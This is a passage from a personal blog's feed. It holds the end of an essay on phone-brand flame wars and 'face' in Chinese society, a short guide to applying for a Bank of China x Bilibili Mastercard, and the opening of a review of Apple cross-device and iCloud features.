&lt;p&gt;The Chinese Android user&apos;s adaptation checklist is long: adapting to boot ads, lock-screen ads, preinstalled apps that can&apos;t be uninstalled, mysterious background battery drain, the system randomly slowing down after a while, the emergency protocol of &quot;if something breaks, flash it,&quot; and the industry convention that &quot;cloud control is normal.&quot;&lt;/p&gt;
&lt;p&gt;Then they turn to iOS users and say: you poor things, domesticated by Apple.&lt;/p&gt;
&lt;p&gt;Honestly, there is no such thing as adapting or not adapting. Everyone is adapting. Everyone lives under some set of rules. The only differences are three: who made the rules, whether the rules suit you, and whether you&apos;re aware that the rules exist.&lt;/p&gt;
&lt;p&gt;Being aware is called a rational choice. Being unaware is called &quot;it works great for me.&quot; Both are adaptation. Only the self-perception differs.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Back then, wrong beliefs had a natural correction mechanism.&lt;/p&gt;
&lt;p&gt;You lived in a village. Your information circle was that big, your social circle was those few dozen people. If you said something absurd or expressed an unrealistic view, someone would immediately push back and correct you. Strange minority opinions had a hard time surviving long in that physical community, because they constantly encountered feedback from the majority.&lt;/p&gt;
&lt;p&gt;The internet destroyed that mechanism completely.&lt;/p&gt;
&lt;p&gt;Before, you were the only weirdo in the village: isolated, under pressure, either persuaded or forced to move. Now you can find ten thousand identical weirdos online. Ten thousand weirdos together look like the mainstream from the inside — like consensus, like truth — while &quot;the people outside&quot; become the minority, the misfits, the haters. The correction mechanism disappears: you only encounter information that agrees with you, only talk to people who agree with you, and all feedback reinforces what you already believed.&lt;/p&gt;
&lt;p&gt;Worse, algorithms actively complete this process for you. Click one piece of content you agree with, and the platform feeds you ten more like it, usually more extreme. You didn&apos;t walk into the echo chamber; the echo chamber wrapped itself around you. The geocentric model used to need people to spread it by hand. Now the geocentric model has algorithms distributing it, platforms operating communities for it, and traffic finding every potential believer.&lt;/p&gt;
&lt;p&gt;This produces a phenomenon I call the &lt;strong&gt;idiot resonance chamber&lt;/strong&gt;: a group of people holding similar wrong beliefs gathers together. Instead of being corrected, they reinforce one another, becoming more extreme and more certain, forming a self-sealing information bubble. Inside, people feel increasingly clear-headed. Outside, they look increasingly ridiculous. Both sides think the other is full of idiots.&lt;/p&gt;
&lt;p&gt;There&apos;s another effect in groups: the lowest intellectual level spreads upward, while the highest does not. Emotion travels faster than logic, agreement is more comfortable than doubt, and following the crowd is easier than thinking independently. One idiot entering a rational group doesn&apos;t get corrected; instead, they drag everyone else down. There&apos;s plenty of social psychology research supporting this.&lt;/p&gt;
&lt;p&gt;So never pick a side. Picking a side means outsourcing your judgment to a collective, and that collective&apos;s floor determines the ceiling of your thinking.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Now we can finally talk about the flame war properly. All the spec comparisons, all the quoted reviews — peel them back and there is only one layer:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I am superior to you.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What you actually know is secondary. Knowing how to flash makes you superior to someone who doesn&apos;t. Knowing root makes you superior to someone who doesn&apos;t. Using a Pixel makes you superior to using a Chinese phone. Using an iPhone makes you superior to using Android. Using Android makes you &quot;freer&quot; than iOS. Every circle has its own chain of contempt. The contents differ; the psychological structure is identical.&lt;/p&gt;
&lt;p&gt;What makes this sense of superiority frightening is how cheap it is. You don&apos;t need to actually live better than others, achieve anything, or sacrifice anything. You only need to have bought the right phone, or learned an operation someone else doesn&apos;t know, and you can enjoy the pleasure of looking down on others online. Tiny investment, enormous psychological return. An absurdly good deal.&lt;/p&gt;
&lt;p&gt;So the flame war will never end, because it was never about solving a problem or convincing the other side. It satisfies a need far deeper than &quot;discussing technology&quot;: &lt;strong&gt;proving that I am superior to you.&lt;/strong&gt; And that need can never be fed enough. Feed it once, and it wants the next time. Every new flame war is a sequel to the last, because superiority expires and has to be renewed.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;How expensive is it to admit &quot;I chose wrong&quot;? I&apos;ve written about this many times before, but let&apos;s review.&lt;/p&gt;
&lt;p&gt;First, you have to negate the original choice itself and admit the money was not well spent. Then you have to negate all the time and energy spent defending that choice: the posts you wrote, the arguments you fought, the data you cited, the reasons you gave your friends. Finally, you have to bow your head in front of all of it — often in front of the very people who once mocked you.&lt;/p&gt;
&lt;p&gt;Those three together are more weight than most people can bear.&lt;/p&gt;
&lt;p&gt;Economics calls it sunk cost. Psychology calls it cognitive dissonance. But to put it bluntly, it&apos;s four words: &lt;strong&gt;saving face&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;When reality conflicts with self-image, we tend to distort our interpretation of reality rather than revise our self-image. So Huawei&apos;s problems aren&apos;t flaws; they&apos;re &quot;suppression by competitors.&quot; Xiaomi&apos;s low prices aren&apos;t weak product capability; they&apos;re &quot;an industry conscience.&quot; Reviews that point out problems aren&apos;t objective analysis; they&apos;re &quot;haters stirring things up.&quot; Every piece of information that threatens self-image has a ready-made explanatory frame to catch it and make it harmless.&lt;/p&gt;
&lt;p&gt;And the more you argue, the deeper you sink. Once you enter a camp, leaving has a psychological cost, and as time and investment accumulate, the cost grows and leaving gets harder. The people who argue the most fiercely are often the ones already starting to waver. They need to persuade loudly and constantly, because the first person they need to persuade is themselves.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;From phone flame wars all the way here, I&apos;ve really been saying the same thing: how hard it is for people to accept that they are wrong.&lt;/p&gt;
&lt;p&gt;But if I stopped there, this would just be an ordinary observation about human weakness that applies to any culture. That would be boring.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The genuinely interesting question is: why is this so intense in China? Why can a phone become identity, a declaration of stance, a battlefield where losing is unacceptable?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The answer is face.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Face is not a personality flaw, and it isn&apos;t simple vanity. It is a piece of low-level core code deposited by thousands of years of Chinese society, never truly rewritten. Dynasties changed. Reform and opening happened. Every historical upheaval rewrote many things in society, but face passed through all of those nodes without a single line of code changing.&lt;/p&gt;
&lt;p&gt;The reason is that it isn&apos;t a learned idea. &lt;strong&gt;It is a structural presence coded into life experience from birth.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A child gets good grades: that&apos;s the parents&apos; face, their capital for standing tall in front of neighbors and relatives. A child does badly: it isn&apos;t just the child&apos;s failure; it&apos;s a collective shame the whole family must bear. Going further, marrying well is the family&apos;s face; what job you get is your parents&apos; confidence when they speak in public; what car you buy and what home you live in are your valuation within this network of relationships.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;People live under other people&apos;s gaze from birth, and are never given the chance to ask: what do I myself want?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;People raised this way are used to getting self-evaluation from outside, used to treating others&apos; opinions as the mirror for self-knowledge. Without the mirror, they cannot see themselves.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Face is the surface. The deeper thing is the relationship-based society.&lt;/p&gt;
&lt;p&gt;In the underlying logic of a relationship society, people are not bound by contracts but by debt. You help me, I owe you, and one day I must repay. The repayment can take the form of money, resources or favors, but the account never disappears; it only circulates through time. The relationship network is an asset. Maintaining it requires continuous investment. Breaking it is bankruptcy.&lt;/p&gt;
&lt;p&gt;Under this framework, many behaviors that look inexplicable to outsiders have a complete internal logic. Giving gifts isn&apos;t necessarily corruption; it&apos;s a necessary operating cost for maintaining relationships. Asking for a favor isn&apos;t &quot;going through the back door&quot;; it&apos;s cashing in a historical favor debt. Giving someone face in public is maintaining their credit; making them look bad in public is an attack on their relationship assets.&lt;/p&gt;
&lt;p&gt;An individual in this system is never an independent entity. They are a node in the relationship network. The node&apos;s value depends on the number and quality of its connections, how many resources it can mobilize, and how many points it is worth in others&apos; eyes. Once detached from the network, the node becomes an isolated point — nothing at all.&lt;/p&gt;
&lt;p&gt;So Chinese people have two deepest fears: loneliness and losing face.&lt;/p&gt;
&lt;p&gt;These two fears are essentially the same thing: once separated from the crowd, you no longer know who you are.&lt;/p&gt;
&lt;p&gt;Loneliness isn&apos;t just an emotion. It means you have fallen out of the relationship network, your social assets have gone to zero, your valuation in this system has hit bottom. Losing face isn&apos;t just embarrassment. It&apos;s a loss of credit, the network re-pricing you, your position in the web being downgraded.&lt;/p&gt;
&lt;p&gt;So Chinese people impose on themselves a pile of rules and constraints that outsiders find baffling: what age to marry, what stage of life to buy a home, what attitude to have toward relatives, how to handle social obligations, what image to present in public.&lt;/p&gt;
&lt;p&gt;Most of these rules are not what people actually want. They are forced out by that invisible audience: not really wanting to marry, but afraid of being called &quot;left on the shelf&quot;; not really wanting children, but afraid of being called &quot;unfilial&quot;; not really valuing relatives, but afraid of being called &quot;clueless.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You live an entire life performing for an audience that is never fully satisfied. And that audience&apos;s scoring criteria are never consistent. One household says you should do this; another says you should do that. No matter how you live, someone gossips. In the end, what you protect is not any real value system, but a minimum defense line: &quot;most people can&apos;t currently say anything bad about me.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;There&apos;s a comparison I&apos;ve looked into that deserves a closer look.&lt;/p&gt;
&lt;p&gt;When Westerners lose their direction, they still have two anchors: religion and individualism.&lt;/p&gt;
&lt;p&gt;Religion provides an inner coordinate system: my relationship with God, the value of my soul, my place in the eternal dimension. This coordinate system is internal. It doesn&apos;t depend on how the people around you see you. Even if everyone opposes and belittles you, your relationship with God remains, your inner value remains. This isn&apos;t to say religion has no problems, only that functionally it provides a mechanism of self-affirmation that doesn&apos;t rely on others&apos; gaze.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Of course, I&apos;m an atheist. I&apos;m not trying to promote Western religion. It&apos;s just a simple comparison.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Individualism provides another kind of grounding: I am an independent individual. My feelings have value in themselves. My choices are legitimate in themselves. I don&apos;t need to be accountable to the collective or to others&apos; expectations. Even if society collapses, even if nobody approves of you, &quot;this is who I am&quot; is itself a place to stand.&lt;/p&gt;
&lt;p&gt;In China, both anchors are weak. Religion has always been marginal in Chinese culture and never developed a tradition as deeply embedded in daily life and value judgment as Western Christianity. Individualism has long been treated as a synonym for selfishness and unsociability, suppressed by family ethics and collectivism.&lt;/p&gt;
&lt;p&gt;So face filled the gap. It is a substitute spiritual structure that grew naturally over thousands of years in soil without inner anchors: using others&apos; gaze to confirm one&apos;s existence and value. This structure is crude, rough and extremely costly, but it works. It solves the fundamental question of &quot;who am I and what am I worth&quot; — except it solves it outward rather than inward.&lt;/p&gt;
&lt;p&gt;The problem with outward is that &quot;the outside&quot; is never stable. It can always change. It always needs you to maintain it, perform for it, fight for it. You live forever inside others&apos; evaluations. You can never stop. The moment you stop, you are suspended in midair.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;With this framework, we can return to phones. And suddenly the explosive popularity of foldables in China becomes very easy to understand.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A foldable phone is a face machine — and one of the most exquisitely designed face machines in consumer electronics today.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s expensive enough to signal wealth directly. Its form is distinctive enough that it looks different from ordinary phones on a table. The key moment is the unfolding: going from folded to tablet takes about two seconds. Those two seconds are a natural performance window. People around you can hardly fail to notice; they can hardly avoid a second glance.&lt;/p&gt;
&lt;p&gt;That glance is the phone&apos;s real core feature.&lt;/p&gt;
&lt;p&gt;Thick, heavy, creased, awkward to hold with one hand: for someone buying a phone to actually use, these are real defects. But for someone buying a phone to perform, none of it matters, because the performance was completed in the second it unfolded. The ticket price has already been repaid.&lt;/p&gt;
&lt;p&gt;Interestingly, truly wealthy people often don&apos;t buy foldables. They don&apos;t need a phone to prove anything; their wealth and status have more direct, less explained forms of expression. The most enthusiastic foldable buyers tend to be people who need to be seen and need to be acknowledged.&lt;/p&gt;
&lt;p&gt;So when someone spends tens of thousands on a foldable, they aren&apos;t buying a phone. They&apos;re buying the flash of envy in the other person&apos;s eyes when the screen unfolds. For them, that&apos;s a good deal.&lt;/p&gt;
&lt;p&gt;The same logic applies to cars, bags and educational credentials. Anything that can be seen and compared in a social setting can become a carrier for this logic.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;More than a hundred years ago, Lu Xun was studying medicine in Japan when he saw a slide. During the Russo-Japanese War, a Chinese man accused of being a spy knelt on the ground awaiting execution. Around him stood a circle of Chinese onlookers, their faces numb, some even wearing a kind of satisfied smile.&lt;/p&gt;
&lt;p&gt;Lu Xun said that at that moment he decided to abandon medicine for literature. Physical illness was not the most frightening thing. Spiritual numbness was.&lt;/p&gt;
&lt;p&gt;He later wrote many onlookers. In &quot;Medicine,&quot; the revolutionary Xia Yu is beheaded, and not one person in the crowd knows the dead man died for them. In &quot;The True Story of Ah Q,&quot; Ah Q is paraded through the streets on the way to execution, and the onlookers find it &quot;not exciting enough.&quot; &quot;A Public Example&quot; has no plot at all, only a crowd watching — what they watch and why is never explained, but the circle of people is there, craning their necks, looking.&lt;/p&gt;
&lt;p&gt;Lu Xun wasn&apos;t writing about villains. The onlooker doesn&apos;t hate you or love you; they simply treat your suffering as entertainment, a way to pass the time. That is more despairing than hatred, because hatred at least has warmth — it means you matter to them. Indifferent watching means you are just a passing spectacle. They look, then leave, and nothing remains.&lt;/p&gt;
&lt;p&gt;And the people fighting online today are essentially onlookers too, just with a stronger sense of participation. They treat others&apos; wins and losses as entertainment, their own mockery as participation, feeling present while never actually being present. The topic changes again and again, the battlefield moves from place to place, but the core psychological posture — &lt;strong&gt;observing others from above&lt;/strong&gt; — never changes.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Everyone is performing desperately for an audience that doesn&apos;t exist.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&quot;Doesn&apos;t exist&quot; doesn&apos;t mean nobody is watching. &lt;strong&gt;It means that audience — the &quot;others&quot; we spend our whole lives trying to please and prove ourselves to — mostly isn&apos;t paying attention to you at all. They&apos;re busy performing for their own audience, and their audience is busy performing for yet more audience.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The whole theater is full of actors. Nobody is really watching.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Everyone is giving everything to an absent gaze, and the time, energy and attention that truly belong to them are drained away little by little in this performance. Buying phones you don&apos;t need, fighting pointless arguments online, maintaining relationships that aren&apos;t sincere, completing milestones you don&apos;t care about — but &quot;the others&quot; never arrive as expected. The recognition you long for is always faintly visible, never complete, never enough.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The most tragic part is that stopping is more frightening than continuing.&lt;/p&gt;
&lt;p&gt;To stop is to face a question that the noise of performance has always covered:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Take off the costume. Who am I?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a question many people never get a chance to answer seriously in their entire lives. Because they started performing as children and never stopped. Every stage of life brings a new script: school, the college entrance exam, work, marriage, a home, a car, children — and then the children&apos;s school, exam, work. Script after script, with no blank space, no chance to stop, and no reason to stop, because stopping means &quot;not doing proper work,&quot; &quot;being clueless,&quot; &quot;letting down all those eyes that have been watching you.&quot;&lt;/p&gt;
&lt;p&gt;So the choice most people make is to keep performing.&lt;/p&gt;
&lt;p&gt;Not because they aren&apos;t tired, but because they don&apos;t know who they are if they stop.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Premier Zhou Enlai coined a wonderful phrase: seek common ground while reserving differences.&lt;/p&gt;
&lt;p&gt;Those words are more precious today than they were then, because today they are harder to practice.&lt;/p&gt;
&lt;p&gt;Seeking common ground while reserving differences presupposes acknowledging that the other side&apos;s &quot;difference&quot; has a right to exist, that &quot;sameness&quot; is not the only correct answer, and that disagreement is a normal state of the world rather than an error to be eliminated. Behind it is a kind of cognitive maturity: the world lives in the gray zone, and most real questions do not have either-or answers.&lt;/p&gt;
&lt;p&gt;Only people who can accept gray can truly see things clearly. Only people who can be persuaded at any moment are truly lucid. Never being absolute is the ability to keep updating your understanding at any time. This ability is the most valuable thing a person has when facing a complex world, and it is also the first thing worn away inside a group.&lt;/p&gt;
&lt;p&gt;From the Mi Fans vs. Huawei fans war, to flashing PTSD, to the truth about adaptation, to the idiot resonance chamber, to face and the relationship society, to foldables, to Lu Xun&apos;s onlookers —&lt;/p&gt;
&lt;p&gt;It has always been the same thing:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How hard it is for a person to live for themselves.&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>社会评论</category><category>Android</category><author>Chongxi</author></item><item><title>How to Apply for the Bank of China x Bilibili Mastercard</title><link>https://xice.cx/en/posts/2233boc/</link><guid isPermaLink="true">https://xice.cx/en/posts/2233boc/</guid><pubDate>Mon, 21 Sep 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The highly anticipated Bilibili x Bank of China 2233 co-branded Mastercard is finally open for applications today!&lt;/p&gt;
&lt;p&gt;This card comes with some pretty exciting features, including the distinctive &lt;code&gt;223300&lt;/code&gt; BIN and the ability to customize the last six digits of your card number. In this guide, I&apos;ll walk you through the application process and cover a few important things to keep in mind.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Applying for the Card&lt;/h2&gt;
&lt;p&gt;Application link: &lt;a href=&quot;https://open.boc.cn/bankcard/cardReserve/index.html#/?appId=8AFAF8C546EB63E9AE3202BC13DB46FC&amp;amp;prodId=P260802MYZGWK2025060515073600001&amp;amp;subProdId=JJKYY&amp;amp;funcId=cardIntroduce&amp;amp;chanId=bili_bzapp&quot;&gt;Bank of China Official Website&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Use your own phone number if possible.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You only get five attempts to customize the last six digits of your card number.&lt;/strong&gt; Both searching for a number and refreshing the results count toward the limit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Receiving Your Card&lt;/h2&gt;
&lt;p&gt;In my case it&apos;s 7–15 business days, mailed to the branch for activation.&lt;/p&gt;
&lt;p&gt;I&apos;m still waiting for mine, too, so stay tuned to this blog for updates as I learn more!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_1567.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;A few things to keep in mind:&lt;/strong&gt; You can only apply for one card at a time. Once you&apos;ve applied for the Mastercard, you can&apos;t apply for the UnionPay version simultaneously.&lt;/p&gt;
&lt;p&gt;My recommendation? &lt;strong&gt;Apply for the Mastercard first.&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>生活</category><author>Chongxi</author></item><item><title>A Deep Dive into the Apple Ecosystem Experience Across Devices</title><link>https://xice.cx/en/posts/onlyAppleCanDo/</link><guid isPermaLink="true">https://xice.cx/en/posts/onlyAppleCanDo/</guid><pubDate>Thu, 17 Sep 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A little while ago, my Samsung phone suddenly gave up on me while I was playing Terraria. I threw a dynamite stick in-game, and just as it exploded, my phone&apos;s screen went completely white. After some troubleshooting, I figured out that the phone had simply gotten too old. Some of its components had finally reached the end of their lives, and that was that.&lt;/p&gt;
&lt;p&gt;Since I already owned an iPad and a Mac, my next phone was pretty much destined to be an iPhone.&lt;/p&gt;
&lt;p&gt;So, before getting into the main topic, I&apos;d like to briefly talk about my early experience switching from the Android/Google ecosystem to the iOS/iCloud ecosystem. If you&apos;re not interested, feel free to skip straight to the &lt;strong&gt;Main Topic&lt;/strong&gt; section below. But if you&apos;re not in a particular hurry, I&apos;d recommend sticking around. It&apos;s actually a pretty interesting journey.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;First of all, the transition wasn&apos;t particularly difficult. Apps like Gmail work perfectly fine on iOS, and the app ecosystem wasn&apos;t much of an issue either. After switching, I honestly couldn&apos;t think of many apps that I&apos;d been able to use on Android but couldn&apos;t find on iOS. If anything, downloading apps from the App Store meant I no longer had to worry as much about compatibility issues.&lt;/p&gt;
&lt;p&gt;There were really only two things I was concerned about.&lt;/p&gt;
&lt;p&gt;The first was my photo library, which I&apos;d been storing on Google. Fortunately, Google and Apple provide a way to transfer photos between their ecosystems. The whole migration took around four or five days, and the process was surprisingly painless.&lt;/p&gt;
&lt;p&gt;The second issue was my Samsung smartwatch. This was a much bigger problem. My Galaxy Watch 6 simply doesn&apos;t work with iOS. Even with third-party workarounds, the experience is severely limited, which was pretty frustrating.&lt;/p&gt;
&lt;p&gt;The obvious solution was to replace it. However, I didn&apos;t go for an Apple Watch because, in my opinion, Apple&apos;s watches would actually be a downgrade from my Galaxy Watch 6 in terms of health and fitness features. Too many features were missing.&lt;/p&gt;
&lt;p&gt;Then, through a series of coincidences, I turned my attention to the Xiaomi Smart Band 10 Pro. After using it for a while, I found the experience pretty good. Notifications and other basic features worked perfectly with my iPhone.&lt;/p&gt;
&lt;p&gt;Xiaomi really does deserve its reputation as Apple&apos;s number-one accessory maker.&lt;/p&gt;
&lt;h2&gt;The Main Topic&lt;/h2&gt;
&lt;p&gt;Ahem. Now that we&apos;ve got that out of the way, let&apos;s get into the main topic: what it&apos;s actually like to use devices within the Apple ecosystem.&lt;/p&gt;
&lt;p&gt;As of writing this article, I only use an iPhone, an iPad, and a Mac, so I&apos;ll be focusing exclusively on these three devices.&lt;/p&gt;
&lt;p&gt;I&apos;ve already explained why I don&apos;t use an Apple Watch. As for AirPods, I simply don&apos;t think they&apos;re worth trying out, at least for me personally.&lt;/p&gt;
&lt;p&gt;Here are the OS versions I&apos;m currently running:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;iOS 27.2&lt;/li&gt;
&lt;li&gt;iPadOS 26.7&lt;/li&gt;
&lt;li&gt;macOS Sequoia 15.7.9&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My macOS version is a little older because I don&apos;t particularly want to upgrade to macOS 26. As a result, some issues I encounter might already have been fixed in newer versions, but that shouldn&apos;t make much of a difference to the overall experience.&lt;/p&gt;
&lt;p&gt;I&apos;ll be writing this article based on whatever comes to mind, so the structure might be a little all over the place. If I think of anything else later, I&apos;ll come back and add it. You&apos;re also welcome to copy this entire article into an AI and ask it to treat the text as source material, then expand on whichever sections you&apos;re interested in.&lt;/p&gt;
&lt;p&gt;Everything in this article is based on my own real-world experience, and I stand by the authenticity of what I&apos;ve written.&lt;/p&gt;
&lt;h3&gt;Cross-Device Integration&lt;/h3&gt;
&lt;p&gt;Let&apos;s start with how the devices work together.&lt;/p&gt;
&lt;p&gt;Shared clipboards, using your phone from your computer, and all that stuff are pretty much standard features at this point, so I won&apos;t waste too much time explaining the basics. Let&apos;s just run through them.&lt;/p&gt;
&lt;p&gt;Also, all my ratings are entirely subjective and should be taken as such. If you think I&apos;m wrong, well, then you&apos;re right in your own opinion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Universal Clipboard&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Copy something on your iPhone, iPad, or Mac, and you can paste it on another device automatically. For example, you can copy some text on your phone and paste it straight into your Mac.&lt;/p&gt;
&lt;p&gt;This is genuinely useful, but it&apos;s not completely reliable. I&apos;d say there&apos;s roughly a 5% chance that a transfer will fail. Sometimes, even if I copy the text again on my phone and try pasting it into my Mac, nothing happens.&lt;/p&gt;
&lt;p&gt;It&apos;s pretty annoying when that happens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 8/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AirDrop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I used to transfer files between my Samsung phone and other devices using LocalSend, which is open source and works really well. However, it still wasn&apos;t quite as convenient as AirDrop.&lt;/p&gt;
&lt;p&gt;AirDrop is just ridiculously convenient. Even large files can transfer in seconds, and I rarely run into any issues.&lt;/p&gt;
&lt;p&gt;It&apos;s simply a brilliantly executed feature. Nothing more needs to be said.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 10/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Handoff&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Handoff lets you pick up where you left off on one device and continue working on another.&lt;/p&gt;
&lt;p&gt;In practice, though, it&apos;s pretty terrible.&lt;/p&gt;
&lt;p&gt;First, it doesn&apos;t seem to recognize third-party apps very reliably. Second, if you leave the app on your phone, the Handoff option on your other devices disappears pretty quickly.&lt;/p&gt;
&lt;p&gt;In other words, you have to keep the original app open if you want to continue using it on another device. Even turning off the screen can be enough to break the experience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phone Calls and SMS Forwarding&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a genuinely useful feature.&lt;/p&gt;
&lt;p&gt;You can take calls and receive messages from your iPhone on your Mac or iPad. For example, if I&apos;m coding on my Mac while my phone is charging, I can answer an incoming call directly from my computer without having to pick up my phone.&lt;/p&gt;
&lt;p&gt;It&apos;s a fantastic feature. The only real annoyance is that switching between devices can cause a brief interruption of a second or two.&lt;/p&gt;
&lt;p&gt;Other than that, I have very few complaints.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 9/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Continuity Camera&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Using your iPhone&apos;s camera with your Mac for taking pictures, scanning documents, and so on.&lt;/p&gt;
&lt;p&gt;Brilliant. No further explanation needed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 10/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iPhone Mirroring&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is pretty much the ultimate way to use your phone from your computer. It&apos;s wireless, and the latency is remarkably low.&lt;/p&gt;
&lt;p&gt;I give it a solid &lt;strong&gt;10/10&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But there&apos;s one thing that would make it even better: if Apple brought iPhone Mirroring to the iPad as well.&lt;/p&gt;
&lt;p&gt;Imagine this: my iPhone is charging on my desk while I&apos;m lying in bed using my iPad. I want to check the delivery details for an order on an e-commerce platform, but I don&apos;t have that platform&apos;s app installed on my iPad.&lt;/p&gt;
&lt;p&gt;If I could simply control my iPhone directly from my iPad, the experience would be perfect. Instead, I have to get out of bed just to check something on my phone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 10/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Universal Control and Sidecar&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is where using a Mac and an iPad together really shines.&lt;/p&gt;
&lt;p&gt;Universal Control lets you use your Mac&apos;s mouse and keyboard to control your iPad, while Sidecar lets you turn your iPad into a secondary display for your Mac.&lt;/p&gt;
&lt;p&gt;Both features have very low latency, and they&apos;re incredibly convenient to use.&lt;/p&gt;
&lt;p&gt;Honestly, they&apos;re just fantastic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 10/10&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;iCloud&lt;/h2&gt;
&lt;p&gt;I subscribe to the 200 GB iCloud+ plan, and honestly, iCloud is absolutely incredible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The feature that deserves a perfect score: Desktop and Documents syncing.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can store your Mac&apos;s Desktop and Documents folders in iCloud, and this is where you really start to appreciate what Apple has built.&lt;/p&gt;
&lt;p&gt;The way Apple abstracts cloud storage and local file access is exceptionally well designed. When a Mac app accesses files in your Documents folder, it still sees the familiar local path, such as &lt;code&gt;/Users/xi/Documents&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There&apos;s no awkward extra layer to deal with. Reading and writing files feels almost identical to working with local storage, yet iCloud can save you a substantial amount of disk space by keeping files in the cloud when they&apos;re not needed locally.&lt;/p&gt;
&lt;p&gt;Even better, you can access those same files from your iPhone and iPad whenever you need them.&lt;/p&gt;
&lt;p&gt;It&apos;s an incredibly seamless experience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 10/10. A perfect score.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Photos and System App Syncing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Photo syncing and synchronization across Apple&apos;s built-in apps are practically invisible in day-to-day use. Everything just works across devices without requiring much thought or manual intervention.&lt;/p&gt;
&lt;p&gt;I&apos;d give this a perfect score as well.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 10/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Find My and Location Sharing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Find My is pretty much a standard feature at this point. However, Apple also offers location sharing, including the ability to set up location-based notifications when someone arrives at or leaves a particular place.&lt;/p&gt;
&lt;p&gt;It&apos;s a nice implementation overall.&lt;/p&gt;
&lt;p&gt;The only issue is that location sharing occasionally bugs out and fails to retrieve someone&apos;s location. When that happens, the other person sometimes has to send the sharing request again.&lt;/p&gt;
&lt;p&gt;Still, it&apos;s a solid experience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rating: 9/10&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Family Sharing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Apple also offers various family-sharing features, including shared photo libraries and health data.&lt;/p&gt;
